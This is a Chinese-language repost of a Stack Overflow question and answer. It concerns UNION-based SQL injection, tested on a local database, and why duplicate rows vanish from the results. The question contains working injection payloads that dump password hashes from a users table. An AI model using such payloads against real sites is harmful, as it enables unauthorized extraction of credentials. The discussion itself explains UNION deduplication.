gpt4 book ai didi

php - 如果输出在数据库中存在多次,则不会显示

转载 作者:行者123 更新时间:2023-11-29 12:49:22 26 4
gpt4 key购买 nike

好吧,我正在本地主机上使用一些 SQLi 进行测试,我偶然发现了一个我以前从未见过的非常奇怪的“错误”。

我正在尝试从名为“game”的数据库以及名为“users”的表(15 列)获取信息

这是表格的第一部分:

http://i.gyazo.com/7e6c81ef2b235a778dec1fd343e8c3bf.png enter image description here

哈希值是“test”和“test1”。

所以我将使用

获得第一个哈希值
'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 0,1--+-

a94a8fe5ccb19ba61c4c0873d391e987982fbbd3

让我们继续,我们使用

移动到另一行
'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 1,1--+-

它得到b444ac06613fc8d63795be9ad0beaf55011936ac

所以一切正常,但是如果我更改用户哈希,使它们具有相同的

http://i.gyazo.com/df1154a02cae5e5bbde04d7e47256899.png enter image description here

那么我们的第二次注入(inject)就不再起作用了

'+union+select+concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+game.users limit 1,1--+-

它什么也不返回,如何以及为什么这是可能的,最重要的是我将如何解决这个问题?我只希望它一次获得 1 个结果,而不是更多。

我正在使用 Wamp 在 Windows 7 计算机上进行测试。

正在执行的查询是

SELECT *
FROM users
WHERE id='-1'
UNION
SELECT concat(password),2,3,4,5,6,7,8,9,10,11,12,13,14,15
from game.users
limit 1,1

最佳答案

摘自 MySQL 手册:

The default behavior for UNION is that duplicate rows are removed from the result.

http://dev.mysql.com/doc/refman/5.6/en/union.html

如果您将这两行的密码字段更改为相同,那么您还将在 UNION 的第二部分中删除重复数据。

然而,你所做的基本上没有意义。为什么您使用 CONCAT,但没有连接任何内容?

此外,如果您只想要一行,为什么要使用偏移量 1?我认为你的偏移量应该是 0(即 LIMIT 0, 1)。

最后,你为什么要建立这个联盟?

可能发生的情况是没有满足用户 id = -1 条件的记录,然后由于重复数据删除,预限制结果集中仅返回一行,您可以通过指定跳过该行偏移量为 1。因此您会得到一个空结果集。

之前,当密码字段不同时,预限制结果集中有两行不同的行,因此在偏移量 1 处有一行。

关于php - 如果输出在数据库中存在多次,则不会显示,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/25000905/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com